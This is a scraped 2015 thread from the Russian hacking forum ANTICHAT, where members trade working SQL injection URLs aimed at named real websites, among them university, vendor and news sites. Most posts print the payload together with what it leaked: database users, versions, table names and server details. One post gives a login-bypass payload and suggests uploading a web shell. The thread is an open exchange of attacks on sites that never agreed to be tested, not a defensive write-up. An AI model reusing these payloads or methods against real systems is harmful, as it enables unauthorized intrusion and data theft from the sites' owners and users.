HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 15.05.2015, 08:47
EoGeneo
Познающий
Регистрация: 29.08.2009
Сообщений: 75
С нами: 8789993

Репутация: 5
По умолчанию

Цитата:
Сообщение от fakecoder  

Код:
invest-expert.info/articles.php?article_id=-130'+union+select+(version()),2,3--+
in TITLE
8k hosts/day
ничего интересного

База:

invest-expert

Таблицы:

table_article

table_banner

table_coment

table_fotos

table_kategorie

table_menue

table_news

table_produkt

table_projects

table_projects_archive

table_text_blocks

table_texte

table_video
 
Ответить с цитированием

  #2  
Старый 21.05.2015, 13:42
Br@!ns
Постоянный
Регистрация: 03.09.2010
Сообщений: 885
С нами: 8258006

Репутация: 25


По умолчанию

Код:
http://frameworksgallery.com/admin/checkuser.php
POST
member_name=k&password=kkkkkk' or 1=1 -- &Submit=Submit
шелл phtml лить, если что
 
Ответить с цитированием

  #3  
Старый 21.05.2015, 19:21
Mister_Bert0ni
Участник форума
Регистрация: 10.05.2015
Сообщений: 142
С нами: 5795606

Репутация: 57
По умолчанию

Код:
http://www.lampbulbs.co.uk/product.php
?prodid=162' +UNION(/**_**/SELECT(1),(2),(concat/**_**/((0x3c62723e),(0x7e7e4d69737465725f42657274306e697e7e),(
0x3c62723e),(version/**_**/()),(0x3c62723e),(user/**_**/()),(0x3c62723e),(database/**_**/()))),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42))--+
 
Ответить с цитированием

  #4  
Старый 21.05.2015, 23:24
karter_kg
Новичок
Регистрация: 17.02.2010
Сообщений: 0
С нами: 8542260

Репутация: 0
По умолчанию

Код HTML:
http://www.ghanaweb.com/GhanaHomePage/soccer.PredictionLeague/index.php?cmd=showmonthlywinners&month=24121'+and+1=0+union+select+1,2,3,4,@@version,6,7,8,9,10,11,12,13,14,user(),16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41+--+
user() =rijk5_w@209.68.59.161

@@version = 5.1.67-log

Alexa = 2,645
 
Ответить с цитированием

  #5  
Старый 23.05.2015, 16:42
karter_kg
Новичок
Регистрация: 17.02.2010
Сообщений: 0
С нами: 8542260

Репутация: 0
По умолчанию

Код:
http://www.uvm.edu/crs/sdc/county_result.php?co_id=4'+and+extractvalue(1,concat(0x3a,(user())))+--+
user()=rural_admin@tubeweb1.uvm.edu

version() =5.5.43-37.2-log

Alexa = 15,582

Код:
http://depts.washington.edu/neurolog/psych/archives/viewPres.php?id=708'and+extractvalue(1,concat(0x3a,(user())))+--+
user() = root@depts12.u.washington.edu

version() = 5.5.18
 
Ответить с цитированием

  #6  
Старый 29.05.2015, 14:25
R3hab
Участник форума
Регистрация: 17.05.2015
Сообщений: 117
С нами: 5785526

Репутация: 6
По умолчанию



Цитата:
Сообщение от None  
sangean.com/products/product.asp?mid=40%20or%201=@@version
ТИЦ20 PR4 AR460,627
 
Ответить с цитированием

  #7  
Старый 02.06.2015, 10:27
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
С нами: 9650336

Репутация: 662
По умолчанию

ПР7

Код:
http://www.stevens.edu/provost/oie/view-patent?id=-20100137884+union+select+1,2,3,4,5,6,7,version(),9,10,11,12+--+
друпал

Код:
https://www.stevens.edu/provost/CHANGELOG.txt
как узнать префикс бд?
 
Ответить с цитированием

  #8  
Старый 02.06.2015, 14:49
psihoz26
Постоянный
Регистрация: 22.11.2010
Сообщений: 545
С нами: 8142806

Репутация: 324


По умолчанию

нет префикса же

Код:
http://www.stevens.edu/provost/oie/view-patent?id=-20100137884+union+select+1,2,3,4,5,6,7,table_name,9,10,11,12+from+information_schema.tables+where+table_schema=database()+--+
 
Ответить с цитированием

  #9  
Старый 03.06.2015, 17:11
Br@!ns
Постоянный
Регистрация: 03.09.2010
Сообщений: 885
С нами: 8258006

Репутация: 25


По умолчанию

Код:
http://www.winelabelworld.com/list.php?c=18&w=8+OR+(SELECT+COUNT(*)+FROM+(SELECT+1+UNION+SELECT+2+UNION+SELECT+3)x+GROUP+BY+CONCAT(MID(VERSION(),+1,+63),+FLOOR(RAND(0)*2)))+--+
Query failed: Duplicate entry '5.0.951' for key 1

У сайта localwineevents.com, база "lwe". Которая находится рядом / alexa 163,137
 
Ответить с цитированием

  #10  
Старый 05.06.2015, 00:14
Insaider
Новичок
Регистрация: 11.05.2015
Сообщений: 1
С нами: 5794166

Репутация: 4
По умолчанию

Код:
http://education.zyxel.com/ZCNE_Course_Event.asp?cert_id=1' or 1=@@version--
Windows version: 2003

SQL Server version: 2005

Database name: education_3

System user: cso_user

Server name: CSO-ELDB
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.